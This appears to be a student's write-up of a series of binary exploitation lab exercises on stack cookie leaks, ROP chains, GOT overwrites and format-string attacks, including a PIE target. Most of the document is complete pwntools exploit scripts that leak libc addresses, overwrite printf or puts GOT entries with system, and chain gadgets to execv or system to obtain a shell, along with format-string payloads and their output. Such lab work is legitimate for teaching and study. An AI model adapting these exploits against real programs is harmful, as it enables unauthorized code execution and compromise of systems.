

## 1. 0-sr-1

In this case, we use the concept of sequential read to get the stack cookie to pass the examination of it. After that, we can use ROP to trigger the `execv` function.

**sr.py**

```
sr.py
1 #!/usr/bin/env python
2
3 from pwn import *
4
5 p = process('./sr-1')
6
7 print(p.recvline().strip())
8 print(p.recvline().strip())
9
10 p.sendline('400')
11
12 # 0x90      rbp-0x8
13 #[ buffer ][ stack cookie ][ saved rbp ][ ret addr ]
14
15 data = p.recv(400)
16
17 chunks = [u64(data[i*8:i*8+8]) for i in xrange(len(data)/8)]
18
19 for addr in chunks:
20     print(hex(addr))
21 """
22 0xf2b3e363c9a82b00    stack_cookie
23 0x7fffb7fc1110        +1 saved rbp
24 0x5583361049f6        +2 return addr
25 0x558336104a00        main reserve block 0
26 0x7fffb7fc1208        1
27 0x7fffb7fc11f8        2
28 0x100000000           3
29 0x558336104a00        saved rbp of main
30 0xf3572a50840         return addr of main ->libc_start_main
31 """
32 #print(hex(chunks[0x88/8]))
33 stack_cookie_value = chunks[0x88/8]
34 libc_start_main_somewhere = chunks[0x88/8 + 8]
35 code_addr_base = chunks[0x88/8 + 2] - 0x9f6 #cause it align the page
36 buf = 'A' * 0x88 + p64(stack_cookie_value) + "RBP!RBP!"
37
38 #we know how to change EIP. Where do you want to tun?
39 #0x00000000000000a63 : pop rdi ; ret
40 #0x00000000000000a61 : pop rsi ; pop r15 ; ret
41 addr_at = code_addr_base + 0x20
42 p_rdi_r = code_addr_base + 0xa63
43 p_rsi_r15_r = code_addr_base + 0xa61
44
45 """
46 pwndbg> x/gx $rsp
47 0x7ffd58b92548: 0x00007fbc35fab840
48 pwndbg> print execv
49 $1 = {int (const char *, char * const *)} 0x7fbc360578e0 <execv>
50 """
51 libc_execv = libc_start_main_somewhere - 0x00007fbc35fab840 + 0x7fbc360578e0
52 #execv("@",0)
53 buf += p64(p_rdi_r)
54 buf += p64(addr_at)
55 buf += p64(p_rsi_r15_r)
56 buf += p64(0)
57 buf += p64(0)
58 buf += p64(libc_execv)
59
60 p.sendline(buf)
61 p.interactive()
```

## 2. 1-ar-2

In the case, the concept of arbitrary read was used. We can read 8 bytes from the address of printf\_got to get the address of libc\_printf. After that, the precise address of system can be calculated by the offset between printf and system. Finally, use the ROP to trigger the libc\_system.

### ar.py

```
ar.py
1 #!/usr/bin/env python
2
3 from pwn import *
4
5 envs = {'PATH': './bin:/usr/bin'}
6 p = process('./ar-2', env=envs)
7
8 printf_got = p.elf.got['printf']
9 print(hex(printf_got))
10
11 print(p.recvline().strip())
12 print(p.recvline().strip())
13
14 p.sendline('8')
15 print(p.recvline().strip())
16 p.sendline(hex(printf_got))
17
18 print(p.recvline().strip())
19
20 data = p.recv(8)
21 print(repr(data))
22 libc_printf = u64(data)
23
24 libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
25 printf_offset = libc.symbols['printf']
26 system_offset = libc.symbols['system']
27
28 print(hex(libc_printf))
29
30 libc_system = libc_printf - printf_offset + system_offset
31
32 print(p.recvline().strip())
33
34 # [ buffer rbp-0x80 ] [ saved EBP ] [ ret addr ]
35
36 buf = 'A' * 0x80 + "RBP!RBP!"
37
38 """
39 0x000000000400a2c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
40 0x000000000400a2e : pop r13 ; pop r14 ; pop r15 ; ret
41 0x000000000400a30 : pop r14 ; pop r15 ; ret
42 0x000000000400a32 : pop r15 ; ret
43 0x000000000400822 : pop rbp ; mov byte ptr [rip + 0x20086e], 1 ; ret
44 0x0000000004007af : pop rbp ; mov edi, 0x601080 ; jmp rax
45 0x000000000400a2b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
46 0x000000000400a2f : pop rbp ; pop r14 ; pop r15 ; ret
47 0x0000000004007c0 : pop rbp ; ret
48 0x0000000004009cb : pop rbx ; pop rbp ; ret
49 0x000000000400a33 : pop rdi ; ret
50 0x000000000400a31 : pop rsi ; pop r15 ; ret
51 0x000000000400a2d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
52 """
53 p_redi_r = 0x400a33
54 #0x400020:      "@"
55 addr_at = 0x400020
56
57 #system("@")
58 buf += p64(p_redi_r)
59 buf += p64(addr_at)
60 buf += p64(libc_system)
61 p.sendline(buf)
62 p.interactive()
```

### 3. 2-aw-1

In this case, the concept of arbitrary write was used. We can exploit the function program provides to write the address of the function which we want to run into the address of `printf_got`. Finally, the program will execute the `please_execute_me` when it calls the `printf` function.

**aw.py**

```
aw.py
1 #!/usr/bin/env python
2
3 from pwn import *
4
5 #context.terminal = ['tmux', 'tplitw', '-h']
6
7 p = process('./aw-1')
8
9 #gdb.attach(p)
10
11 printf_got = p.elf.got['printf']
12 addr_target_func = p.elf.symbols['please_execute_me']
13
14 print(hex(printf_got))
15 print(hex(addr_target_func))
16
17 print(p.recvline().strip())
18 print(p.recvline().strip())
19
20 p.sendline('8')
21
22 print(p.recvline().strip())
23 p.sendline(hex(printf_got))
24 print(p.recvline().strip())
25 p.send(p64(addr_target_func))
26 p.interactive()
```

#### 4. 3-aw-2

In this case, the concept of arbitrary read and write were used. First, we got the value of `libc_puts` by `read_function` then use it to calculate the precise address of `libc_system`. After that, we write the address of `libc_system` into the address of `printf_got` to trigger the system function then run the Writing file (set PATH).

##### aw.py

```
aw.py
1  #!/usr/bin/env python
2
3  from pwn import *
4
5  #context.terminal = ['tmux', 'splitw', '-h']
6
7  envs = { 'PATH' : './bin:/usr/bin' }
8
9  p = process('./aw-2', env=envs)
10 #gdb.attach(p)
11
12 puts_got = p.elf.got['puts']
13 printf_got = p.elf.got['printf']
14
15 print(p.recvline().strip())
16 print(p.recvline().strip())
17
18 p.sendline('8')
19
20 print(hex(puts_got))
21 print(p.recvline().strip())
22 p.sendline(hex(puts_got))
23
24 print(p.recvline().strip())
25 byte_libc_puts = p.recv(8)
26 libc_puts = u64(byte_libc_puts)
27
28 print(hex(libc_puts))
29
30 libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
31
32 puts_offset = libc.symbols['puts']
33 system_offset = libc.symbols['system']
34
35 libc_system = libc_puts - puts_offset + system_offset
36
37 print(p.recvline().strip())
38 print(p.recvline().strip())
39
40 p.sendline('8')
41
42 print(p.recvline().strip())
43 print(hex(printf_got))
44 p.sendline(hex(printf_got))
45 #print(p.recvline().strip())
46 p.sendline(p64(libc_system))
47 p.interactive()
```

5. **4-fs-read-1-32**

In this case, we used the concept of format string. We can use “%p” to get the value of the stack. Thus, we type like “%p %p %p %p %p %p %p” to get the several values then compare them to the answer. We can find that the answer will be at 6<sup>th</sup> value.

\*\*\*\*\*program\*\*\*\*\*

**\$ ./fs-read-1-32**

Please type your name first:

%p %p %p %p %p %p %p %p %p %p

Hello 0xffac3b6c 0x3f 0x804870a 0xf7f437eb (nil) **0x6d6155cc** 0x25207025  
0x70252070 0x20702520 0x25207025 0x70252070

Can you guess the random?

0x6d6155cc

Great!

6. **5-fs-read-1-64**

In this case, we used the concept of format string. We can use “%p” to get the value of the stack. Thus, we type like “%p %p %p %p %p %p %p %p” to get the several values then compare them to the answer. We can find that the answer will be at 7<sup>th</sup> value.

\*\*\*\*\*program\*\*\*\*\*

**\$ ./fs-read-1-64**

Please type your name first:

%p %p %p %p %p %p %p %p %p %p

Hello 0x400b21 0x7f913d15b780 0x6 0x7f913d367700 0x6 (nil) **0xf0662cc100000000**  
0x7025207025207025 0x2520702520702520 0x2070252070252070  
0x7025207025207025 0xa702520

Can you guess the random?

0xf0662cc1

Great!

7. **6-fs-read-2-32**

In this case, we used the concept of format string. However, we cannot use the previous method to get the value because of the number limitation. Thus, we are going to use like %position\$p to directly read the value at the designated position. By using gdb, we know that the random was putted at ebp-0x10 and the first address of the printed value. Thus, we can calculate the precise gap we need to cross then read the random number.

**((0xff915758 - 0xff915504)/4 +1 →150)**

\*\*\*\*\*program\*\*\*\*\*

**\$ ./fs-read-2-32**

Please type your name first:

%150\$p

Hello **0xdba34866**

Can you guess the random?  
0xdba34866  
Great!

#### 8. 7-fs-read-2-64

In this case, we used the concept of format string. However, we cannot use the previous method to get the value because of the number limitation. Thus, we are going to use like %position\$p to directly read the value at the designated position. By using gdb, we know that the random was putted at ebp-0x1c and the first address of the printed value. Thus, we can calculate the precise gap we need to cross then read the random number. But we have to add 5 more number because it exists more 5 values before the top of stack.  
 $((0x7ffc3c54fd14 - 0x7ffc3c54fad0) / 8 + 1 + 5 \rightarrow 78)$

\*\*\*\*\*program\*\*\*\*\*

\$ ./fs-read-2-64

Please type your name first:

%78\$p

Hello 0xd482a51900000007

Can you guess the random?  
0xd482a519  
Great!

#### 9. 8-fs-arbt-read-32

In this case, the random number was stored as global variable and its address is fixed. Thus, we can use format string to read the value from the fixed address then extract the number we need.

fs.py

```
fs.py
1 #!/usr/bin/env python
2
3 from pwn import *
4
5 addr_random_value = 0x804a050
6
7 p = process("./fs-arbt-read-32")
8
9 print(p.recvline().strip())
10
11 buf = p32(addr_random_value) + '%7$s'
12 p.sendline(buf)
13
14 response = p.recvline().strip()
15
16 print(repr(response))
17
18 answer = hex(u32(response[-4:]))
19
20 p.sendline(answer)
21 p.interactive()
```

**10. 9-fs-arbt-read-64**

11. In this case, the random number was stored as global variable and its address is fixed. Thus, we can use format string to read the value from the fixed address then extract the number we need. But the address we want to read must be placed after the instruction because the program will stop if it meets the null in 64 bits system.

**fs.py**

```
fs.py
1 #!/usr/bin/env python
2
3 from pwn import *
4
5 addr_random_value = 0x60109c
6
7 p = process("./fs-arbt-read-64")
8
9 print(p.recvline().strip())
10
11 buf = '%9$s' + "\x00\x00\x00\x00" + p64(addr_random_value)
12 p.sendline(buf)
13
14 response = p.recvline().strip()
15 print(repr(response))
16 answer = hex(u32(response[-4:]))
17
18 p.sendline(answer)
19 p.interactive()
```

## 12. a-fs-arbt-write-32

In this case, we try to write the correct value into `global_random`. First, we got the address of variable, `global_random`. Separate it to two parts, then write the `0xfaceb00c` into it.

It will be like:

"\x0c\x00\x00\x00" (10 11 12 13)

then

"\x0c\x00\xfa\x00" (12 13 14 15)

→ "\x0c\x00\xfa\x00" (finally)

### fs.py

```
fs.py
1 #!/usr/bin/env python
2
3 from pwn import *
4 p = process('./fs-arbt-write-32')
5
6 addr_random = p.elf.symbols['global_random']
7
8 print(addr_random)
9 print(p.recvline().strip())
10
11 target_value = 0xfaceb00c
12
13 # %7$p
14 #buf = 'AAAABBBB%p %p %p %p %p %p %p %p %p %p %p'
15
16 #printed 8 bytes -----v
17 #(0xb00c - 8)
18 #-----v (0xb00c)
19 buf = p32(addr_random) + p32(addr_random + 2) + "%45060x" + "%7$n"
20 buf += "%19138x" + "%8$n"
21 p.sendline(buf)
22
23 response = p.recvline().strip()
24
25 print(response)
26
27 p.interactive()
```



### 13. b-fs-arbt-write-64

In this case, we try to write the correct value into global\_random. First, we got the address of variable, global\_random. Separate it to two parts, then write the 0xfac00c into it. In addition, the instruction must be placed before the address of global random because the program will stop when it meets the null.

**fs.py**

```
fs.py
1 #!/usr/bin/env python
2
3 from pwn import *
4
5 #context.terminal = ['tmux', 'splitw', '-h']
6
7 p = process('./fs-arbt-write-64')
8
9 #gdb.attach(p, 'b *0x4008fa')
10
11 addr_random = p.elf.symbols['global_random']
12
13 print(hex(addr_random))
14 print(p.recvline().strip())
15
16 target_value = 0xfac00c
17
18 #buf = '%p %p %p %p %p %p %p %p %p %p %p' + "aaaaaaaa"
19
20 buf = "%45068x%9$n" + "%19138x%10$nA" + p64(addr_random) + p64(addr_random+2)
21
22 p.sendline(buf)
23
24 response = p.recvline().strip()
25
26 print(response)
27 p.interactive()
```

#### 14. c-fs-code-exec-32

In this case, we use printf as AR to leak the GOT of printf in the beginning. Then, get the address of system in libc. Finally, use printf as AW to overwrite GOT['printf'] = libc\_system.

##### fs.py

```
fs.py
1 #!/usr/bin/env python
2
3 from pwn import *
4
5 envs = {'PATH': './bin:/usr/bin'}
6
7 p = process('./fs-code-exec-32', env=envs)
8
9 print(p.recvline().strip())
10
11 # step 1: using printf as AR to leak the GOT of printf
12 got_printf = p.elf.got['printf']
13
14 print(hex(got_printf))
15
16 # [ address (4 byte) ] %7$p
17 # [ address (4 byte) ] %7$p
18
19 buf = p32(got_printf) + '%7$s'
20
21 p.sendline(buf)
22
23 line = p.recvline().strip()
24
25 print(repr(line))
26
27 libc_printf = u32(line[10:14])
28
29 print(hex(libc_printf))
30
31 # step 2: address of system in libc
32 e = ELF('/lib/i386-linux-gnu/libc.so.6')
33
34 printf_offset = e.symbols['printf']
35 system_offset = e.symbols['system']
36
37 libc_system = libc_printf - printf_offset + system_offset
38
39 print(hex(libc_system))
40
41 # step 3: using printf as AW to overwrite GOT['printf'] = libc_system
42 # %7%n%8$n
43 buf = 'AAAABBBB'
44
45 # [got printf] [got printf + 2]
46
47 # v--- start of got of printf
48 # [ ] [ ] [ ] [ ] [ ] [ ]
49 # XX YY 00 00
50 # ZZ WW 00 00
51 buf = p32(got_printf) + p32(got_printf + 2)
52 # %7$p %8$p
53
54 first = (libc_system & 0xffff)
55 second = ((libc_system >> 16) & 0xffff)
56
57 while second < first:
58     second += 0x10000
59
60 second -= first
61 first -= 8
62
63 # 8
64 buf += "%" + str(first) + "x" + "%7$n"
65 buf += "%" + str(second) + "x" + "%8$n"
66
67 print(repr(buf))
68 raw_input('Press ENTER to continue')
69 p.sendline(buf)
70
71 line = p.recvline().strip()
72 print(repr(line))
73 line = p.recvline().strip()
74 print(repr(line))
75
76 p.interactive()
```

### 15. d-fs-code-exec-64

In this case, we use printf as AR to leak the GOT of printf in the beginning. Then, get the address of system in libc. Finally, use printf as AW to overwrite GOT['printf'] = libc\_system. Furthermore, we instruction must placed before the address we want to read and write.

**fs.py**

```
fs.py
1 #!/usr/bin/env python
2
3 from pwn import *
4
5 envs = {'PATH': './:/bin:/usr/bin'}
6
7 p = process('./fs-code-exec-64', env=envs)
8
9 print(p.recvline().strip())
10
11 #step 1: using printf as AR to leak the GOT of printf
12 got_printf = p.elf.got['printf']
13
14 print(hex(got_printf))
15
16 #[ address (4 byte) ] %7$p
17 #[ address (4 byte) ] %7$p
18
19 buf = "%7$s" + "\x00\x00\x00\x00" + p64(got_printf)
20
21 p.sendline(buf)
22
23 line = p.recvline().strip()
24
25 print(repr(line))
26 print(line[6:14])
27
28 libc_printf = u64(line[6:14] + "\x00\x00")
29
30 print(hex(libc_printf))
31
32 # step 2: address of system in libc
33 e = ELF('/lib/x86_64-linux-gnu/libc.so.6')
34
35 printf_offset = e.symbols['printf']
36 system_offset = e.symbols['system']
37
38 libc_system = libc_printf - printf_offset + system_offset
39
40 print(hex(libc_system))
```

```
42 # step 3:using printf as AW to overwrite GOT['printf'] = libc_system
43 # %7%n%8$n
44 buf = ''
45
46 # [got printf] [got printf + 2]
47
48 # v--- start of got of printf
49 # [ ] [ ] [ ] [ ] [ ] [ ] [ ] [ ]
50 # XX YY 00 00
51 # ZZ WW 00 00
52 # AA BB 00 00
53 # aa bb
54 #
55
56 _1 = (libc_system & 0xffff)
57 _2 = ((libc_system >> 16) & 0xffff)
58 _3 = ((libc_system >> 32) & 0xffff)
59 _4 = ((libc_system >> 48) & 0xffff)
60
61 while _2 < _1:
62     _2 += 0x10000
63 while _3 < _2:
64     _3 += 0x10000
65 while _4 < _3:
66     _4 += 0x10000
67
68 fourth = _4 - _3
69 third = _3 - _2
70 second = _2 - _1
71 first = _1
72
73 __1 = "%09d" % first
74 __2 = "%09d" % second
75 __3 = "%09d" % third
76 __4 = "%09d" % fourth
77
78 buf += "%" + __1 + "x" + "%14$n"
79 buf += "%" + __2 + "x" + "%15$n"
80 buf += "%" + __3 + "x" + "%16$n"
81 buf += "%" + __4 + "x" + "%17$n"
82
83 buf += p64(got_printf)
84 buf += p64(got_printf + 2)
85 buf += p64(got_printf + 4)
86 buf += p64(got_printf + 6)
87
88 print(repr(buf))
89 raw_input('Press ENTER to continue')
90 p.sendline(buf)
91
92 #line = p.recvline().strip()
93 #print(repr(line))
94 #line = p.recvline().strip()
95 #print(repr(line))
96
97 p.interactive()
```

### 16. e-fs-code-exec-pie-64

First, use 1st printf as sequential read primitive. Then, use 2nd printf as arbitrary read primitive, leak libc\_puts. Finally, use 3rd printf as arbitrary write primitive, overwrite PUTS got.

**fs.py**

```
fs.py
1 #!/usr/bin/env python
2
3 from pwn import *
4 envs = {'PATH' : './bin:/usr/bin'}
5 # object 1: getting the GOT address of puts -. get the code address
6 # stdp 1: using 1st printf as sequential read primitive
7
8 #          [   ret   ]
9 #          [ saved_ebp ]
10 #          [   ...   ]
11 #          [   buf   ]
12 #          [   buf   ]
13 #          [   ...   ]
14 #          [   ...   ]
15 #          [   esp   ] %p %p %p %p %p
16
17 p = process('./fs-code-exec-pie-64',env=envs)
18
19 print(p.recvline().strip())
20
21 p.sendline("%137$p")
22
23 line = p.recvline().strip()
24
25 print(line)
26
27 hex_addr_code = line.split(' ')[1]
28
29 leaked_code_address = int(hex_addr_code, 16)
30
31 code_base_addr = leaked_code_address & 0xffffffffffff000
32 print(hex(code_base_addr))
33
34 offset_got_puts = p.elf.got['puts']
35 got_puts = code_base_addr + offset_got_puts
36
37 print(hex(got_puts))
38
```

```
fs.py
39 # objective 2: getting the libc address of puts, read that from GOT of puts
40 # step 2: using 2nd printf as arbitrary read primitive, leak libc_puts
41
42 print(p.recvline().strip())
43 print(p.recvline().strip())
44
45 buf = "%7$s_____"
46 buf += p64(got_puts)
47
48 p.sendline(buf)
49 line = p.recvline().strip()
50 print(repr(line))
51
52 libc_puts = u64(line[14:20] + "\x00\x00")
53 print(hex(libc_puts))
54
55 # objective 3: writing the libc@system address to PUTS GOT
56 # step 3: using 3rd printf as arbitrary write primitive, overwrite PUTS got.
57
58 # [ ] [ ] [ ] [ ] [ ] [ ] [ ] [ ] [ ] [ ]
59 # XX YY
60 # ZZ WW
61 # AA BB
62 # CC DD
63
64 # '%6$p'
65
66 e = ELF('/lib/x86_64-linux-gnu/libc.so.6')
67 puts_offset = e.symbols['puts']
68 system_offset = e.symbols['system']
69 libc_system = libc_puts - puts_offset + system_offset
70 print(hex(libc_system))
71
72 print(p.recvline().strip())
73
74 buf = ''
75
76 _1 = libc_system & 0xffff
77 _2 = (libc_system >> 16) & 0xffff
78 _3 = (libc_system >> 32) & 0xffff
79 _4 = (libc_system >> 48) & 0xffff
80
81 while _2 < _1:
82     _2 += 0x10000
83 while _3 < _2:
84     _3 += 0x10000
85 while _4 < _3:
86     _4 += 0x10000
87
88 fourth = _4 - _3
89 third = _3 - _2
90 second = _2 - _1
91 first = _1
92
93 __1 = "%09d" % first
94 __2 = "%09d" % second
95 __3 = "%09d" % third
96 __4 = "%09d" % fourth
97
98 buf += '%' + __1 + 'x%14$n'
99 buf += '%' + __2 + 'x%15$n'
100 buf += '%' + __3 + 'x%16$n'
101 buf += '%' + __4 + 'x%17$n'
102
103 buf += p64(got_puts)
104 buf += p64(got_puts+2)
105 buf += p64(got_puts+4)
106 buf += p64(got_puts+6)
107 print(repr(buf))
108 raw_input("press ENTER to continue")
109 p.sendline(buf)
110
111 p.interactive()
```